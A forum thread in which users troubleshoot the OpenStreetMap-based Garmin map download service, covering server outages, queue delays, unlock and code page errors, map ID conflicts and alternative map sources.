One advantage of being paid though is that you get lots of practice - in my case hundreds of projects over my working life. Things that I learned the hard way might be of benefit to volunteers who (and I don't know their background) may not have the same level of experience in IT project management and IT service management. So if they want to act on my advice then that's great. If they don't, that's great too!
- Re: Worldwide routable Garmin maps: URL REMOVED · Gwaltinger (Gast) · 20.04.2019 11:50 · [flux]
Hello,
I downloaded the country "Georgia" for my Garmin DriveSmart 50, then put the file "gmapsupp.img" under ".System/map" of the navigation device.
It get's recognized by the navigation, the map is graphically there, but the city/street search doesn't work.
For example it finds "Kutaissi" but it doesn't find the capital "Tiflis", nor "Tblisi"! - Do I have to put in the names in Georgian?! - When I swipe to Georgia and zoom in the graphical map, I can select "Tiflis" and then I can also select it by tapping.
Do you know what's wrong here and how to fix it?
Kind regrads,
Günther
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 20.04.2019 15:35 · [flux]
I didn't try but I think the name:en is used : Tbilisi
- Re: Worldwide routable Garmin maps: URL REMOVED · vasel80 (Gast) · 27.04.2019 11:16 · [flux]
Hi everybody, i have garmin 345 device and i have install maps for greece and serbia succesfully but i have problem with navigation. For example start from amfissa(greece) and nis(serbia) the end. The suggested route is not fit with the main layer road. What can i do for that? If i start from graz to nis there is no problem
- Re: Worldwide routable Garmin maps: URL REMOVED · brongracz (Gast) · 27.04.2019 15:24 · [flux]
Hey I feel a bit dumb. I make selection and the website continues to say (Make a selection first). I try the generic new style. What do I do wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 27.04.2019 15:41 · [flux]
The service seems to be broken (again).
- Re: Worldwide routable Garmin maps: URL REMOVED · Hermanjac (Gast) · 27.04.2019 20:47 · [flux]
The button to generate a map is missing
- Re: Worldwide routable Garmin maps: URL REMOVED · Bruno Cornette (Gast) · 28.04.2019 09:56 · [flux]
Hello,
I did not find any button to download the map, neither a place to write my email address...
Please help me.
Thx in advance.
BCO - Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 29.04.2019 15:00 · [flux]
If it's broken I'd suggest downloading maps from somewhere else, such as those suggested at
https://forum.openstreetmap.org/viewtop … 33#p746933 . - Re: Worldwide routable Garmin maps: URL REMOVED · map_1961 (Gast) · 30.04.2019 09:48 · [flux]
Hi.
I tried bbbike : https://download.bbbike.org/osm/ . Works fine for download but my Garmin states that the card is not unlocked. Garmin seems to block this cards. So i am looking for other free to download links.
Any ideas?Thx
MAP
- Re: Worldwide routable Garmin maps: URL REMOVED · aiorgu (Gast) · 30.04.2019 11:16 · [flux]
Hi.
Any idea when the http://garmin.openstreetmap.nl/ download link is back functioning?
Very good service, too bad it drops too often. - Re: Worldwide routable Garmin maps: URL REMOVED · JMCC1 (Gast) · 30.04.2019 18:46 · [flux]
Hi
Please can you advise.
I have donated 15.00 euro and set up account,
I have selected maps for download.
can you tell me how to download gpx filres after selecting on map.
regards - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 30.04.2019 19:03 · [flux]
What gpx files do you mean? Where do you create/find them?
- Re: Worldwide routable Garmin maps: URL REMOVED · BBBike (Gast) · 01.05.2019 09:32 · [flux]
map_1961 wrote:
I tried bbbike : https://download.bbbike.org/osm/ . Works fine for download but my Garmin states that the card is not unlocked. Garmin seems to block this cards. So i am looking for other free to download links.
Any ideas?by default all generated Garmin maps from OpenStreetMap data will use
the code page Unicode (UTF-8). However, some older devices don't
support Unicode and some new devices have a broken DRM firmware ("can
not unlock map"). In this special case please use the latin1 style. - Re: Worldwide routable Garmin maps: URL REMOVED · Sipswell (Gast) · 02.05.2019 11:58 · [flux]
BBBike wrote:
map_1961 wrote:
I tried bbbike : https://download.bbbike.org/osm/ . Works fine for download but my Garmin states that the card is not unlocked. Garmin seems to block this cards. So i am looking for other free to download links.
Any ideas?by default all generated Garmin maps from OpenStreetMap data will use
the code page Unicode (UTF-8). However, some older devices don't
support Unicode and some new devices have a broken DRM firmware ("can
not unlock map"). In this special case please use the latin1 style.I've tried multiple formats from BBBike and haven't had any success yet but I'll have another stab.
Is there a definitive answer to what the file should be called? I've seen both gmapbmap and gmapsupp in various instructions online. I actually have both on my device (edge 520).
- Re: Worldwide routable Garmin maps: URL REMOVED · BBBike (Gast) · 02.05.2019 16:46 · [flux]
Sipswell wrote:
Is there a definitive answer to what the file should be called? I've seen both gmapbmap and gmapsupp in various instructions online. I actually have both on my device (edge 520).
gmapbmap.img is the Garmin base map containing only major roads and large cities. You should not delete this map (at least, if you have enough space on the device). gmapsupp.img is usually the name of the OpenStreetMap based map.
- Re: Worldwide routable Garmin maps: URL REMOVED · narecardoso (Gast) · 07.05.2019 12:47 · [flux]
Hello all... I don't understand why the link to download or the email request doesn't appear to me 🙁
Am I doing something wrong?Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Mixtur (Krzysiek) (Gast) · 07.05.2019 12:48 · [flux]
Hello everyone!!! I tried to download new version of garmin map from http://garmin.openstreetmap.nl/. But in section "Request your map or download it directly" there is only info:"make a selection first" and no possibility of downloading map. Why is that?
- Re: Worldwide routable Garmin maps: URL REMOVED · narecardoso (Gast) · 07.05.2019 12:55 · [flux]
You'll have to select your map first (?)
I do select the maps but can't download or do anything... 🙁 - Re: Worldwide routable Garmin maps: URL REMOVED · Incantatrix (Gast) · 07.05.2019 17:55 · [flux]
Hello everybody,
I seem to have the same problem. No matter my selection (via tiles or by country) the site keeps saying I have to make a selection first. Using the optional 'typ button' MAPNIK makes the server looking for existing maps, but it stays looking, even after 10 minutes or longer. Does anyone know why this is (and perhaps solutions?)? Thnx Incantatrix - Re: Worldwide routable Garmin maps: URL REMOVED · Doggywalker (Gast) · 07.05.2019 23:50 · [flux]
Hi, I also have the same problem. I select the maps and then where it says:- Request your map or download it directly:
(Make a selection first) I used to be able to put my email address in there and then wait for the two emails. Now I'm not given the option to put my email address in. Nothing happens. Last week was the same problem then it said the server was down so couldn't get them and now we're back to the same problem. Help!! - Re: Worldwide routable Garmin maps: URL REMOVED · map_1961 (Gast) · 08.05.2019 09:04 · [flux]
Hi BBBIKE.
BBBike wrote:
map_1961 wrote:
I tried bbbike : https://download.bbbike.org/osm/ . Works fine for download but my Garmin states that the card is not unlocked. Garmin seems to block this cards. So i am looking for other free to download links.
Any ideas?by default all generated Garmin maps from OpenStreetMap data will use
the code page Unicode (UTF-8). However, some older devices don't
support Unicode and some new devices have a broken DRM firmware ("can
not unlock map"). In this special case please use the latin1 style....
Yepp. Using the proposed settings it seems to work on my Edge 520.
Thx 4 help. Will donate.MAP
- Re: Worldwide routable Garmin maps: URL REMOVED · ElgorGC (Gast) · 08.05.2019 09:14 · [flux]
Hello,
I get the same problem...
Help please - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.05.2019 10:12 · [flux]
There is nobody here who can help you, you have to wait and check if it is fixed or not.
The quickest solution is find another map provider. - Re: Worldwide routable Garmin maps: URL REMOVED · aiorgu (Gast) · 08.05.2019 15:43 · [flux]
ligfietser wrote:
There is nobody here who can help you, you have to wait and check if it is fixed or not.
The quickest solution is find another map provider.Can you please recommend a good provider for Russian maps - ideal for motorcycles?
Thank you in advance! - Re: Worldwide routable Garmin maps: URL REMOVED · Mixtur (Krzysiek) (Gast) · 08.05.2019 16:55 · [flux]
Hello again. Does anybody has an idea how to let know the mapmaker about downloading problems? Because I didn't find any possible contact form to them...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.05.2019 18:29 · [flux]
See page 1 post #1
Lambertus wrote:
Contact
You can get contact me by replying to this forum topic, using the email function of this forum, through the OpenStreetMap user page or by email at: osm at na1400 dot infoAnd skip the first line, he might not visit this forum often.
- Re: Worldwide routable Garmin maps: URL REMOVED · geoffrose (Gast) · 09.05.2019 04:08 · [flux]
No doubt I'm missing something obvious, as I've used http://garmin.openstreetmap.nl/ before. I can easily select the tiles I want, but I don't see where to enter my email, select to have a composite file, and ask for the download. WHAT am I missing?
Thanks, Geoff -
- Re: Worldwide routable Garmin maps: URL REMOVED · Mirko (Gast) · 12.05.2019 14:54 · [flux]
I have been a really enthusiastic user for years, but the server status frightened me very much:
Server status:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 1 requests (~0 days), status = OK
sn21.pleiades.uni-wuppertal.de/garmin/, queue = 3751 requests (~15.6 days), status = OKWhy is the queue so high and I would have to wait at least 7 days for my card...?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.05.2019 17:24 · [flux]
Mirko, please read the previous posts then you can guess why 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · bmw-biker007 (Gast) · 15.05.2019 00:40 · [flux]
Hello,
I also have a question
in my mail is:
"This request is # 752 in the queue. The delay is approximately 1.6 days."But that is already 5 days ago.
Unfortunately I still got a link to the donload. :rolleyes: :rolleyes: - Re: Worldwide routable Garmin maps: URL REMOVED · Mirko (Gast) · 15.05.2019 20:47 · [flux]
ligfietser wrote:
Mirko, please read the previous posts then you can guess why 🤔
Wouldn't it make sense to do a complete reset and then accept new requests?
Who is the operator of the site?
Maybe it is just spammed because of all the requests...? - Re: Worldwide routable Garmin maps: URL REMOVED · Maarten Deen (Gast) · 16.05.2019 09:47 · [flux]
The problem is that Lambertus seems to be not responding to any queries.
- Re: Worldwide routable Garmin maps: URL REMOVED · Maciej Z (Gast) · 16.05.2019 17:29 · [flux]
For all those stuck in the waiting queue - there is a way around this issue - just select map type and tiles as usual, but instead of requesting the download, just look at the bottom of left sidebar - there are direct links to all selected tiles there - just download them all, and then use a tool like http://www.mkgmap.org.uk/ (I'm sure there are other more user-friendly if you don't like the command line) to merge them into one gmapsupp.img file, rename it to gmapbmap.img, upload to your Garmin and you're gold. Just tested, works fine. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · The Manj (Gast) · 21.05.2019 20:55 · [flux]
Maciej Z wrote:
For all those stuck in the waiting queue - there is a way around this issue - just select map type and tiles as usual, but instead of requesting the download, just look at the bottom of left sidebar - there are direct links to all selected tiles there - just download them all, and then use a tool like http://www.mkgmap.org.uk/ (I'm sure there are other more user-friendly if you don't like the command line) to merge them into one gmapsupp.img file, rename it to gmapbmap.img, upload to your Garmin and you're gold. Just tested, works fine. 🙂
Great tip, worked perfectly for me too. Thank you!
I found MapWel Map Upload worked a treat to easily combine the tiles and load them onto a Garmin 520.
- Re: Worldwide routable Garmin maps: URL REMOVED · NoisyBB (Gast) · 22.05.2019 10:10 · [flux]
The Manj wrote:
Maciej Z wrote:
For all those stuck in the waiting queue - there is a way around this issue - just select map type and tiles as usual, but instead of requesting the download, just look at the bottom of left sidebar - there are direct links to all selected tiles there - just download them all, and then use a tool like http://www.mkgmap.org.uk/ (I'm sure there are other more user-friendly if you don't like the command line) to merge them into one gmapsupp.img file, rename it to gmapbmap.img, upload to your Garmin and you're gold. Just tested, works fine. 🙂
Great tip, worked perfectly for me too. Thank you!
I found MapWel Map Upload worked a treat to easily combine the tiles and load them onto a Garmin 520.
Had the same problem, gonna try the solution you've suggested here, hope it will help me
- Re: Worldwide routable Garmin maps: URL REMOVED · bmw-biker007 (Gast) · 23.05.2019 10:21 · [flux]
Have now received this message for several days.
"This request could not be found in the queue. Most likely the map is already generated and you received another email containing the url where the map can be downloaded, or you should receive that email shortly. "
But did not receive a link to download.
Edit:
Have now created a map again.
Now in the mail:This request is # 365 in the queue. The delay is approximately 18.3 hours.
I guess he deleted all requests because there were too many.
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 23.05.2019 10:36 · [flux]
@bmw-biker007 It's broken; you'll need to use another source of maps. Lots are listed at https://wiki.openstreetmap.org/wiki/OSM … n/Download (and you can also create your own).
- Re: Worldwide routable Garmin maps: URL REMOVED · bmw-biker007 (Gast) · 23.05.2019 15:46 · [flux]
Short feedback:
Now after the second generation, it worked very quickly.:D:D:D
- Re: Worldwide routable Garmin maps: URL REMOVED · Allroads (Gast) · 23.05.2019 23:42 · [flux]
And it is working fine now, Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · mfc1984 (Gast) · 12.06.2019 02:05 · [flux]
I have been getting the message "Sorry, this service is currently not available due to server problems. Please come back later..." since last weekend. I gather this is an issue that pops up from time to time, but does anyone know when it will be fixed? I've tried different browsers and different computers but it does not seem to make a difference.
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 12.06.2019 15:54 · [flux]
mfc1984 wrote:
but does anyone know when it will be fixed?
It's broken, use a different site (there are lots that you can download OSM-based Garmin maps from). See GerdP's post above
https://forum.openstreetmap.org/viewtop … 33#p746933 and numerous others offering similar advice. - Re: Worldwide routable Garmin maps: URL REMOVED · David Reik (Gast) · 19.06.2019 12:39 · [flux]
Isn't there something missing from http://garmin.openstreetmap.nl ? I don't see where to put my email address, or how to download my selection, although I've successfully done this before many times in the past. Am I missing something obvious? David Reik, Farmington, CT, USA
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.06.2019 12:46 · [flux]
Yes, seems the service is broken again. See previous posts for alternatives, e.g.
https://forum.openstreetmap.org/viewtop … 33#p746933 - Re: Worldwide routable Garmin maps: URL REMOVED · Party Sausage (Gast) · 30.06.2019 08:30 · [flux]
Hi Is anyone having an issue with some of the tiles the latest osm uk map. Some of them in the north of England do not display on my Garmin Edge when I zoom in closer than 2Km. I've tried both the pre-built uk map & a custom selection & neither of them work correctly. Cheers HD
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.06.2019 13:19 · [flux]
This could be caused by multiple maps with duplicate tiles. Check it with Javawa Device Manager, http://www.javawa.nl/jdm_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · Party Sausage (Gast) · 03.07.2019 20:16 · [flux]
I only have the UK OSM map enabled on my device & none of the other maps have any UK tiles. It's very confusing as the tiles I'm having the issue with are the tile covering my local area & another tile adjacent to it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.07.2019 05:44 · [flux]
Other maps could have the same ID, they do not have to be enabled to mess things up. You can try to remove those maps to see if it gets better or try another map provider, https://extract.bbbike.org/
- Re: Worldwide routable Garmin maps: URL REMOVED · Party Sausage (Gast) · 04.07.2019 19:14 · [flux]
ligfietser wrote:
Other maps could have the same ID, they do not have to be enabled to mess things up. You can try to remove those maps to see if it gets better or try another map provider, https://extract.bbbike.org/
I downloaded the Javawa Device Manager & checked my device maps today. It did show that some of the disabled maps on my Garmin had overlapping tiles with my UK Map, though strangely there weren't any overlaps in my local area where I'd noticed the issue.
I've removed the conflicting maps from my Garmin & the UK map tiles are now being displayed. I did think that if a map was disabled it wouldn't have any effect on the enabled maps, but I guess my assumption was incorrect.
Thanks for you help in tracking down the problem. 🙂 HD
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.07.2019 21:34 · [flux]
Good to hear that it solved your issue. Maps from different areas but from different updates can have identical map ID's. So they don't need to overlap the same area to cause a conflict. And as I mentioned, when they are even disabled, they still can cause conflicts with enabled maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nardo53 (Gast) · 17.07.2019 20:21 · [flux]
I had the same problem when using Internet Explore. Switched to Chome and it started working for me.:)
- Re: Worldwide routable Garmin maps: URL REMOVED · Russ McD (Gast) · 26.07.2019 10:24 · [flux]
Question for UK Mkgmap experts ... when routing from M4 South wales to the M5 West country, Mapsource (and the Zumo) refuses to use the M49. It routes through the Almondsbury interchange.
All avoidences are off, and shortest or fastest doesn't matter, but if you add a shaping waypoint on the M49, its OK.
What is it about the M49 it doesnt like, as its clearly its the preferred route on the ground.
Is is the Construction Area that the M49 currently runs through, that throws it ?
(All works fine when using directions on the web based map). 🤔 - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 26.07.2019 10:55 · [flux]
Hi Russ, I'm not the expert you seek, but anyhow: my Zumo and Mapsource do this from time to time. I have never been able to figure out why and I simply put it down to bugs that Garmin couldn't be bothered to fix. Happens on maps compiled with cgpsmapper as well.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 28.07.2019 17:58 · [flux]
Russ McD wrote:
Question for UK Mkgmap experts ... when routing from M4 South wales to the M5 West country, Mapsource (and the Zumo) refuses to use the M49. It routes through the Almondsbury interchange.
All avoidences are off, and shortest or fastest doesn't matter, but if you add a shaping waypoint on the M49, its OK.
What is it about the M49 it doesnt like, as its clearly its the preferred route on the ground.
Is is the Construction Area that the M49 currently runs through, that throws it ?
(All works fine when using directions on the web based map). 🤔To answer such a question an mkgmap expert needs to know all input to mkgmap:
The osm data , the style rules, and the options in use. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.07.2019 10:18 · [flux]
Russ McD wrote:
Question for UK Mkgmap experts ... when routing from M4 South wales to the M5 West country, Mapsource (and the Zumo) refuses to use the M49. It routes through the Almondsbury interchange.
All avoidences are off, and shortest or fastest doesn't matter, but if you add a shaping waypoint on the M49, its OK.
What is it about the M49 it doesnt like, as its clearly its the preferred route on the ground.
Is is the Construction Area that the M49 currently runs through, that throws it ?
(All works fine when using directions on the web based map). 🤔No issues here with the generic UK map from garmin.openstreetmap.nl version July 19, are you sure you have the latest version?
- Re: Worldwide routable Garmin maps: URL REMOVED · Russ McD (Gast) · 29.07.2019 12:41 · [flux]
Yes, using Generic routable (new style). 19-7-19.
The tagging looks OK for the motorways.
However, if I play with the slider in Mapsource, and set it all the way to the right (prefer highways, faster time), well Swansea to Exeter uses the M49 ... but coming back it doesn't !!
Strange... but no obvious answers so I won't lose any sleep over it.
Cheers, all. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.07.2019 13:58 · [flux]
Russ McD wrote:
Yes, using Generic routable (new style). 19-7-19.
The tagging looks OK for the motorways.
However, if I play with the slider in Mapsource, and set it all the way to the right (prefer highways, faster time), well Swansea to Exeter uses the M49 ... but coming back it doesn't !!
Strange... but no obvious answers so I won't lose any sleep over it.
Cheers, all.Ah, if I plan your longer route from Swansea to Exeter I can reproduce it. Maybe the router does not like this roundabout?
https://www.openstreetmap.org/way/3391101 - Re: Worldwide routable Garmin maps: URL REMOVED · moivhod (Gast) · 12.08.2019 21:23 · [flux]
Hello colleagues! Is there a way to install and use several maps in Garmin Basecamp. It seems that the maps downloaded separately can't get along with each other, probably because they have the same name. I was advised to install Mac OS gmap set as it doesn't put any registry entries like Windows Installer. But it doesn't help. Basecamp still displays only one map. Renaming via JaVaWa GMTK is not a remedy either. The map gets a different name only visually, but seems still retaining original name in one of its technical files.
- Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 13.08.2019 10:35 · [flux]
Is there a way to install and use several maps in Garmin Basecamp.
yes, I have 6 different maps in Basecamp and I can switch between them.
I render my maps myself using different FID (File Identifier?) for the maps.
You have to change the FID of your maps to be different. I believe gmaptool does this. - Re: Worldwide routable Garmin maps: URL REMOVED · Thom van de Riet (Gast) · 04.09.2019 13:00 · [flux]
Lambertus, thank you for your great work and efforts. I use the routable new style maps in Basecamp and my garmin device.
This works fine! However I still have one question. The maps are extracted from Open Street Map. But on OSM there are more (foot)paths then in the downloaded map.
Here is one example of many: on OSM there is this footpath: https://www.openstreetmap.org/way/686592147
This path does not occur on a downloaded map routable new style
Is this normal? (the downloaded map is a new one, so the footpath is not added afterward).Thx, Thom
- Re: Worldwide routable Garmin maps: URL REMOVED · Sandal man (Gast) · 04.09.2019 20:19 · [flux]
You can put a link to the path here, like this:
https://www.openstreetmap.org/way/443851645 - Re: Worldwide routable Garmin maps: URL REMOVED · Thom van de Riet (Gast) · 04.09.2019 21:55 · [flux]
Sandal man wrote:
You can put a link to the path here, like this:
https://www.openstreetmap.org/way/443851645Thx Sandal man. I adjusted my post and added an example
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.09.2019 18:26 · [flux]
Thom van de Riet wrote:
Here is one example of many: on OSM there is this footpath: https://www.openstreetmap.org/way/686592147
This path does not occur on a downloaded map routable new style
Is this normal? (the downloaded map is a new one, so the footpath is not added afterward).Thx, Thom
Don't see anything wrong there, footpaths and tracks should be visible
- Re: Worldwide routable Garmin maps: URL REMOVED · Thom van de Riet (Gast) · 13.09.2019 18:42 · [flux]
ligfietser wrote:
Thom van de Riet wrote:
Here is one example of many: on OSM there is this footpath: https://www.openstreetmap.org/way/686592147
This path does not occur on a downloaded map routable new style
Is this normal? (the downloaded map is a new one, so the footpath is not added afterward).Thx, Thom
Don't see anything wrong there, footpaths and tracks should be visible
https://i.postimg.cc/WprzYzQj/track.jpgHuh, it took me 15 minutes to figure it out. Stupid!!! My basecamp was set to activity "driving", thus no footpaths. Because of your help I figured it out and set the activity to standard "walking". The footpaths are there.
Thx! - Re: Worldwide routable Garmin maps: URL REMOVED · hgmichna (Gast) · 24.09.2019 10:59 · [flux]
I thought I could use these wonderful maps to update my old Garmin GPSmap 76C, but on the device I see only a few crude parts, most freeways and very few other roads. The rest of the map, like cities, is empty.
I used BaseCamp to upload. In BaseCamp the maps show completely and look good.
Any idea how to work around this defect? I have already tried whatever I could, to no avail.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 24.09.2019 11:11 · [flux]
The latest version of BC is reported to have a serious bug, causing such problems. You have 3 choices:
1 - downgrade to the previous version and turn auto-updates off.
2 - Use MapSource, also free from Garmin.
3 - download the img file and copy it directly to your GPS.Good luck!
- Re: Worldwide routable Garmin maps: URL REMOVED · hgmichna (Gast) · 24.09.2019 15:26 · [flux]
Thanks a lot! I uninstalled BaseCamp 4.7.0 twice, because it was there twice, checked that the folder MapInstall had also gone (otherwise I would simply have deleted it), and installed BaseCamp 4.6.2.
This solved the problem entirely. I could immediately upload all the OpenStreetMaps to the Garmin GPSmap 76C without any problems, and the maps appeared on the device in their full glory.
- Re: Worldwide routable Garmin maps: URL REMOVED · readonly (Gast) · 30.11.2019 21:27 · [flux]
There is a problem showing Tortolì.
I have created a a Generic Routable (new style) map of Sardegna, downloaded the macosx maps and use it with Mapsource and Basecamp. The city Tortolì is shown as Tortol? in both Mapsource and latest Basecamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 03:38 · [flux]
The maps are not using (all) unicode characters because some Garmin devices don't support that. It is possible to create such a map with mkgmap but I don't know any provider who compiles maps with that codepage.
Or do you think that the name is Tortoli (with a normal i)? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2019 08:27 · [flux]
@Gerd https://extract.bbbike.org/ supports UTF-8 unicode, dont know if that helps?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2019 12:56 · [flux]
Noticed that on my Openfietsmap Tortolì is rendered fine (I use latin-1, code-page: 1252 characterset to compile my maps).
Any idea what could be the cause Gerd? As far as I know Lambertus also use this codepage. - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 13:01 · [flux]
Maybe he doesn't use those option for the generic new style maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2019 13:04 · [flux]
As far as I know he did use this but maybe his settings are messed up lately. I can't contact him though, he never responds so better use another map provider.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 13:11 · [flux]
I've just downloaded the map tile and analysed it with display tool. It contains two different spellings: TORTOL? and TORTOLÌ
I see two possible reasons: Either the used bounds file contains a wrong spelling or the actual OSM data contains it. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2019 15:21 · [flux]
Last edit is 3 years ago, so an issue in the actual data does not seem likely. I dont know what the bounds file has to do with the rendering of the place node?
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 15:30 · [flux]
How do you know that this is about a place node?
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 15:44 · [flux]
Well, you are probably right, the node with label TORTOL? is shown at https://www.openstreetmap.org/node/72990751
Strange... - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2019 16:37 · [flux]
Maybe it is caused by the transliteration that Lambertus does while processing his maps:
https://forum.openstreetmap.org/viewtopic.php?id=5554 - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.12.2019 16:39 · [flux]
Sure, if that is still active it could be the reason.
- Re: Worldwide routable Garmin maps: URL REMOVED · readonly (Gast) · 01.12.2019 18:21 · [flux]
ligfietser wrote:
Maybe it is caused by the transliteration that Lambertus does while processing his maps:
https://forum.openstreetmap.org/viewtopic.php?id=5554I've ssen this thread before posting my question, but I thought it's 10 years old, so it should be fixed. Well, who knows.
- Re: Worldwide routable Garmin maps: URL REMOVED · readonly (Gast) · 01.12.2019 18:28 · [flux]
GerdP wrote:
The maps are not using (all) unicode characters because some Garmin devices don't support that.
City Navigator shows the correct name: Tortolì
At␣least␣300␣seconds␣have␣to␣pass␣between␣posts.␣Please␣wait␣231␣seconds␣and␣try␣posting␣again.
REALLY? 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.12.2019 12:59 · [flux]
readonly wrote:
I've ssen this thread before posting my question, but I thought it's 10 years old, so it should be fixed. Well, who knows.
Well, Lambertus the maintainer of the maps seems not very active anymore with development of the maps nor watching this forum so don't expect too much. We should be glad he still is updating them anyway.
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 19.12.2019 01:03 · [flux]
Is there a way to submit a Tile List directly to the site in order to generate a compiled map build?
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.12.2019 19:07 · [flux]
No, that is not built in.
- Re: Worldwide routable Garmin maps: URL REMOVED · D_i_m (Gast) · 26.12.2019 21:18 · [flux]
Hi!
Who are responsible for boundaries definition for pre generated maps available from drop list? I not agree with such parts that not directly connected to the Ukraine state border: RU-Orel, RU-Kursk, RO-Satu Mare, PL-Zamosc.
I agree that in custom selection any part of the map can be chosen for render, but for presets or pre generated map it's not appropriate.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.03.2020 04:51 · [flux]
The map server seems to be down at the moment. I have emailed Lambertus. All we can do is wait.
Update: after re-loading the page the map showed up.
Creating self-selected maps works. I obtained a partial Thailand map this way.
Pre-defined maps don't work at the moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.03.2020 04:55 · [flux]
@D_i_m I don't know where these names come from, but I believe they are generated automatically each time a new map is compiled. Lambertus, the owner of the server, hasn't posted here for 4 years and doesn't reply to emails, so the chances of getting this changed are zero.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dave Stanley (Gast) · 04.03.2020 18:13 · [flux]
Just confirming that the predefined maps are broken. This is the error I get:
Fatal error: Uncaught Error: Call to undefined function ereg() in /var/www/garmin/request-combine.php:202 Stack trace: #0 /var/www/garmin/request-combine.php(36): check_email_address('d****@********...') #1 {main} thrown in /var/www/garmin/request-combine.php on line 202
- Re: Worldwide routable Garmin maps: URL REMOVED · Dave Stanley (Gast) · 06.03.2020 10:15 · [flux]
The 'Fatal error' has been resolved, but still no files are generated for the predefined maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · sstp (Gast) · 09.03.2020 03:15 · [flux]
I'm looking for a map of Denmark and only find the "openfietsmap_lite_tiles" version with 75b omg files or so.
I hope somebody can help me with the following questions:
1) How do I download these files to my garmin Edge 1030?
2) Do a gmapsupp.zip files exist for Denmark, if yes where can I find that or if no can one of you make one?Thanks a lot.
- Re: Worldwide routable Garmin maps: URL REMOVED · jannk (Gast) · 19.03.2020 07:19 · [flux]
sstp: same here. existing openfietsmap_lite_tiles is pretty much useless for Garmins, I had to switch to another map rendering tool.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.03.2020 08:40 · [flux]
Dont know why the map generation is broken on Lambertus' site ,but you can generate a gmapsupp.img from those tiles.zip with Javawa's Osm combiner tool, see http://www.openfietsmap.nl/tips-tricks/combi_ofm_lite
- Re: Worldwide routable Garmin maps: URL REMOVED · Roy1987 (Gast) · 28.03.2020 15:29 · [flux]
How i can download gmapsupp.img file? I can only download the osm_generic_new_tiles.zip file of the Netherlands. Regards Roy
- Re: Worldwide routable Garmin maps: URL REMOVED · BCNorwich (Gast) · 28.03.2020 18:16 · [flux]
If you add another tile to the Netherlands area it might work, with the extra map segment you should be presented with an option to download the gmapsupp.img file. I just tried it and it worked for me.
- Re: Worldwide routable Garmin maps: URL REMOVED · mobra (Gast) · 31.03.2020 19:30 · [flux]
Hi - I am a long time happy user of http://garmin.openstreetmap.nl/ but recently I have problems downloading map files for Denmark in Europe - only one ZIP file is available, and not the .EXE file I usually install for use with Garmin Basecamp and MapInstall. Also, I have to enter e-mail and wait for build, usually there is a latest version always ready for download. So maybe some of the files are not generated correctly?
- Re: Worldwide routable Garmin maps: URL REMOVED · Jillis Eikelenboom (Gast) · 31.03.2020 20:37 · [flux]
See the response in the other thread you posted in.
- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 27.04.2020 10:48 · [flux]
Sometime after April 1st, the rendering of paths has changed in the gmappsup.img files. They are now rendered as transparent/white - and basically invisible unless the path is passing through a coloured area. When I download the Windows installable file and view the maps in MapSource, paths are the usual dark lines.
This is a problem !
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 27.04.2020 10:54 · [flux]
@steerage250 have you tried a different download site?
- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 27.04.2020 14:01 · [flux]
no, I've been using this one for years and have always been happy and never had a reason to look elsewhere. I'm hoping something has gone wrong that can be readily fixed and I can keep using it again.
What other sites are there I can get generic OSM maps for Australia from ?
